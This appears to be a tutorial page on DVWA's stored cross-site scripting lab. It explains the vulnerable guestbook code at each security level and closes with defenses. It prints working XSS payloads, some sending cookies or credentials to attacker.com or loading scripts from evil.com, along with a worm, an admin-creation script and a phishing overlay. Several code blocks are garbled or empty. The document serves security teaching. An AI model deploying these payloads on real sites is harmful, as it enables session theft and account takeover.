Documentation Index
Fetch the complete documentation index at: https://mintlify.com/digininja/DVWA/llms.txt
Use this file to discover all available pages before exploring further.
Overview
Stored Cross-Site Scripting (XSS), also known as Persistent XSS or Type-II XSS, is a vulnerability where malicious scripts are permanently stored on the target server (typically in a database) and later retrieved and executed when users view the infected content.
Key Characteristic: The malicious payload is permanently stored in the application’s database and executes automatically for every user who views the infected content.
How Stored XSS Differs from Other XSS Types
| Feature | Stored XSS | Reflected XSS | DOM-based XSS |
|---|
| Persistence | Persistent (in database) | Non-persistent | Non-persistent |
| Attack Delivery | Automatic on page load | Requires victim to click link | Requires victim to visit crafted URL |
| Social Engineering | Not required after injection | Required per victim | Required per victim |
| Scope | All users viewing content | Single victim per link | Single victim per link |
| Severity | Highest (affects all users) | Medium (targeted) | Medium (targeted) |
| Detection | Easier (persisted in data) | Harder (no trace after execution) | Harder (client-side only) |
Why Stored XSS is More Dangerous:
- No social engineering needed after initial injection
- Affects ALL users who view the content
- Persists until manually removed from database
- Can be used to create self-propagating XSS worms
Vulnerability Objective
Goal: Redirect everyone to a web page of your choosing by injecting malicious JavaScript into the guestbook that persists in the database.
Application Context
DVWA’s Stored XSS module implements a guestbook feature with two input fields:
- Name field (max 10 characters)
- Message field (max 50 characters)
Both fields are stored in the guestbook database table and displayed to all users.
Security Level Analysis
Low Security
The low security level provides minimal sanitization - only SQL escaping, no XSS protection.
Vulnerable Code (xss_s/source/low.php:3-17):
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message);
// Sanitize name input
$name = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name);
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);
}
```html
**Vulnerability**: `mysqli_real_escape_string()` only prevents **SQL injection** - it does NOT prevent XSS. The data is stored and retrieved without HTML encoding.
**Exploitation**:
1. **Name Field**:
```html
<script>alert('XSS')</script>
- Message Field:
<script>document.location='http://attacker.com'</script>
3. **Cookie Theft**:
```html
<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>
The payload is stored in the database and executes for every user who views the guestbook.
Medium Security
The medium level adds protection to the message field but has inconsistent filtering on the name field.
Protection Code (xss_s/source/medium.php:3-19):
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message);
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name);
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);
}
```html
**Security Analysis**:
- **Message field**: Properly protected with `strip_tags()` and `htmlspecialchars()`
- **Name field**: Only removes `<script>` tags (case-sensitive)
**Vulnerability**: The name field filtering is **case-sensitive** and incomplete.
**Bypass Techniques**:
1. **Case Variation**:
```html
Name: <ScRiPt>alert(1)</sCrIpT>
- Alternative Tags:
Name: <img src=x onerror=alert(1)>
Name: <svg/onload=alert(1)>
Name: <body onload=alert(document.cookie)>
Name:
Message: Any message
---
### High Security
The high level uses **regex filtering** on the name field to block script tag variations.
**Protection Code** (`xss_s/source/high.php:8-15`):
```php
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message);
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name);
Pattern Analysis: The regex /<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i matches variations of “script” with any characters in between (case-insensitive).
Bypass Techniques:
Use HTML event handlers instead of <script> tags:
- Image Tag:
Name: <img src=x onerror=alert(1)>
2. **SVG Element**:
```html
Name: <svg/onload=alert(document.cookie)>
- Input Focus:
Name: <input onfocus=alert(1) autofocus>
4. **Redirect All Users**:
```html
Name: <img src=x onerror="location.href='http://evil.com'">
Impossible Security (Secure Implementation)
The impossible level demonstrates proper XSS prevention for stored data.
Secure Code (xss_s/source/impossible.php:3-26):
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message);
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name);
$name = htmlspecialchars( $name );
// Update database using prepared statements
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generationSessionToken();
```bash
**Security Measures**:
1. **Output Encoding**: `htmlspecialchars()` on **both** name and message fields
```php
$name = htmlspecialchars( $name );
$message = htmlspecialchars( $message );
- Prepared Statements: Prevents SQL injection using PDO parameter binding
$data->bindParam( ':message', $message, PDO::PARAM_STR );
3. **Anti-CSRF Token**: Prevents attackers from injecting payloads via CSRF
4. **Defense in Depth**: Multiple layers of protection
**Why This Works**:
Stored:
Retrieved:
Rendered: <script>alert(1)</script>
Display: (as plain text)
---
## Attack Scenarios
### Scenario 1: Self-Propagating XSS Worm
**Payload** (adapted to character limits):
```javascript
<script>
// Steal cookies from all users
fetch('http://attacker.com/log?victim='+document.cookie);
// Auto-post to guestbook to spread
var form = document.querySelector('form[name="guestform"]');
form.txtName.value = '<script>/*worm code*/</script>';
form.mtxMessage.value = 'Spreading...';
form.submit();
</script>
This creates a worm that:
- Steals cookies from every viewer
- Automatically posts itself to the guestbook
- Spreads to more users exponentially
Scenario 2: Admin Account Takeover
- Inject payload targeting admin actions:
<script>
if(document.cookie.includes('admin')){
// Create new admin user
fetch('/admin/create_user', {
method: 'POST',
body: 'username=hacker&password=pwned&role=admin'
});
}
</script>
2. Wait for admin to view guestbook
3. Script executes with admin privileges
4. New admin account created
### Scenario 3: Persistent Phishing
```javascript
<script>
document.body.innerHTML = `
<h1>Session Expired</h1>
<form action="http://attacker.com/phish" method="POST">
Username: <input name="user" type="text"><br>
Password: <input name="pass" type="password"><br>
<input type="submit" value="Login">
</form>
`;
</script>
Every user sees a fake login form, credentials sent to attacker.
Proper Defenses
1. Output Encoding (Essential)
Encode on output, not just input:
// WRONG: Encoding on input
$name = htmlspecialchars($_POST['name']);
// Store $name in database
// Later: echo $data['name']; // Double-encoded!
// RIGHT: Encode on output
$name = $_POST['name'];
// Store raw $name in database
// Later:
echo htmlspecialchars($data['name']); // Properly encoded
```bash
### 2. Context-Aware Encoding
Different contexts require different encoding:
```php
// HTML context
echo htmlspecialchars($data, ENT_QUOTES, 'UTF-8');
// JavaScript context
echo json_encode($data, JSON_HEX_TAG | JSON_HEX_AMP);
// URL context
echo urlencode($data);
// CSS context (avoid if possible)
echo preg_replace('/[^a-zA-Z0-9]/', '', $data);
3. Content Security Policy
header("Content-Security-Policy: default-src 'self'; script-src 'self'");
```bash
Prevents inline scripts from executing, even if injected.
### 4. Input Validation (Defense in Depth)
```php
// Validate name (alphanumeric only)
if (!preg_match('/^[a-zA-Z0-9\s]{1,10}$/', $name)) {
die('Invalid name format');
}
5. Database Design
Store metadata about content:
CREATE TABLE guestbook (
id INT AUTO_INCREMENT,
name VARCHAR(10),
message VARCHAR(50),
is_html BOOLEAN DEFAULT FALSE, -- Flag for trusted HTML
created_by INT, -- Track author
created_at TIMESTAMP,
PRIMARY KEY (id)
);
```bash
---
## Testing for Stored XSS
### Basic Test Payloads
1. **Basic Alert**:
```html
<script>alert('XSS')</script>
- Image Tag:
<img src=x onerror=alert(1)>
3. **SVG**:
```html
<svg/onload=alert(1)>
- Event Handler:
### Character Limit Bypass
DVWA's name field has a 10-character limit. Bypass:
```html
<!-- 10 chars: minimal payload -->
<svg/onload=alert(1)> ❌ (23 chars)
<!-- Use short payload -->
<script>alert(1)</script> ❌ (28 chars)
<!-- Bypass using external script -->
<script src=//evil.com/x.js></script> ❌ (still too long)
<!-- Solution: Use HTML manipulation -->
<!-- Disable maxlength in browser DevTools, OR -->
<!-- Intercept POST request and modify parameter -->
Code Reference
Source files: vulnerabilities/xss_s/source/
- Low:
low.php:3-17 (no XSS protection)
- Medium:
medium.php:8-15 (inconsistent filtering)
- High:
high.php:14 (regex on name field)
- Impossible:
impossible.php:12-19 (proper encoding)
Guestbook form: xss_s/index.php:44-58
Key Takeaways
- Stored XSS is the most dangerous XSS type - affects all users automatically
- Blacklist filtering fails - use whitelist validation and output encoding
- Encode on output, not input - preserves data integrity and prevents double-encoding
- Context matters - HTML, JavaScript, CSS, and URL contexts need different encoding
- Defense in depth - combine output encoding, CSP, input validation, and CSRF protection
- SQL escaping ≠ XSS protection -
mysqli_real_escape_string() only prevents SQLi
- Inconsistent protection is dangerous - protect ALL input fields equally